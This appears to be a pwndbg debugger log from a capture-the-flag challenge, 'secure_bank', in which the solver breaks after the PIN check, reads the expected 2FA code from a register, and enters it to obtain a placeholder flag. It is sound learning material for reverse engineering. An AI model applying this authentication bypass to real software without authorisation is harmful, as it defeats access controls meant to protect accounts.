0x0000000000001393 <+130>: mov eax,0x0
0x0000000000001398 <+135>: call 0x1040 <printf@plt>
0x000000000000139d <+140>: lea rax,[rbp-0xc]
0x00000000000013a1 <+144>: mov rsi,rax
0x00000000000013a4 <+147>: lea rax,[rip+0xe3f] # 0x21ea
0x00000000000013ab <+154>: mov rdi,rax
0x00000000000013ae <+157>: mov eax,0x0
0x00000000000013b3 <+162>: call 0x1050 <__isoc99_scanf@plt>
0x00000000000013b8 <+167>: mov eax,DWORD PTR [rbp-0xc]
0x00000000000013bb <+170>: mov edx,DWORD PTR [rbp-0x4]
0x00000000000013be <+173>: mov esi,edx
0x00000000000013c0 <+175>: mov edi,eax
0x00000000000013c2 <+177>: call 0x12ba <validate_2fa_code>
0x00000000000013c7 <+182>: mov eax,0x0
0x00000000000013cc <+187>: leave
0x00000000000013cd <+188>: ret
End of assembler dump.
pwndbg> breakrva *main+117
breakrva: The program is not being run.
pwndbg> break *main+117
Breakpoint 1 at 0x1386
pwndbg> run
Starting program: /media/sf_Shared/1337up 2024/secure_bank
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
****************************************
* Welcome to SecureBank *
* Your trusted partner in security *
****************************************
========================================
= SecureBank Superadmin Login System =
========================================
Enter superadmin PIN: 1337
Breakpoint 1, 0x0000555555555386 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββββββββββββββββββββββββββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββββββββββββββββββββββββββββββ
RAX 0x568720
RBX 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
RCX 2
RDX 0x57c77bc8
RDI 0xa8497d36
RSI 0xd5f1def
R8 0xa
R9 0
R10 0
R11 0x7ffff7f3f8e0 (_nl_C_LC_CTYPE_class+256) ββ 0x2000200020002
R12 0
R13 0x7fffffffdef8 ββΈ 0x7fffffffe288 ββ 'COLORFGBG=15;0'
R14 0x7ffff7ffd000 (_rtld_global) ββΈ 0x7ffff7ffe2e0 ββΈ 0x555555554000 ββ 0x10102464c457f
R15 0x555555557dd8 (__do_global_dtors_aux_fini_array_entry) ββΈ 0x555555555110 (__do_global_dtors_aux) ββ endbr64
RBP 0x7fffffffddd0 ββ 1
RSP 0x7fffffffddc0 ββ 0
RIP 0x555555555386 (main+117) ββ mov dword ptr [rbp - 4], eax
βββββββββββββββββββββββββββββββββββββββββββ[ DISASM / x86-64 / set emulate on ]βββββββββββββββββββββββββββββββββββββββββββ
βΊ 0x555555555386 <main+117> mov dword ptr [rbp - 4], eax [0x7fffffffddcc] <= 0x568720
0x555555555389 <main+120> lea rax, [rip + 0xe7b] RAX => 0x55555555620b ββ 'Enter your 2FA code: '
0x555555555390 <main+127> mov rdi, rax RDI => 0x55555555620b ββ 'Enter your 2FA code: '
0x555555555393 <main+130> mov eax, 0 EAX => 0
0x555555555398 <main+135> call printf@plt <printf@plt>
0x55555555539d <main+140> lea rax, [rbp - 0xc]
0x5555555553a1 <main+144> mov rsi, rax
0x5555555553a4 <main+147> lea rax, [rip + 0xe3f] RAX => 0x5555555561ea ββ 0x7365636341007525 /* '%u' */
0x5555555553ab <main+154> mov rdi, rax
0x5555555553ae <main+157> mov eax, 0 EAX => 0
0x5555555553b3 <main+162> call __isoc99_scanf@plt <__isoc99_scanf@plt>
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ STACK ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
00:0000β rsp 0x7fffffffddc0 ββ 0
01:0008β-008 0x7fffffffddc8 ββ 0x7fff00000539
02:0010β rbp 0x7fffffffddd0 ββ 1
03:0018β+008 0x7fffffffddd8 ββΈ 0x7ffff7dd9d68 (__libc_start_call_main+120) ββ mov edi, eax
04:0020β+010 0x7fffffffdde0 ββΈ 0x7fffffffded0 ββΈ 0x7fffffffded8 ββ 0x38 /* '8' */
05:0028β+018 0x7fffffffdde8 ββΈ 0x555555555311 (main) ββ push rbp
06:0030β+020 0x7fffffffddf0 ββ 0x155554040
07:0038β+028 0x7fffffffddf8 ββΈ 0x7fffffffdee8 ββΈ 0x7fffffffe25f ββ '/media/sf_Shared/1337up 2024/secure_bank'
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ[ BACKTRACE ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βΊ 0 0x555555555386 main+117
1 0x7ffff7dd9d68 __libc_start_call_main+120
2 0x7ffff7dd9e25 __libc_start_main+133
3 0x555555555091 _start+33
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
pwndbg> print (int) 0x568720
$2 = 5670688
pwndbg> continue
Continuing.
Enter your 2FA code: 5670688
Access Granted! Welcome, Superadmin!
Here is your flag: INTIGRITI{fake_flag}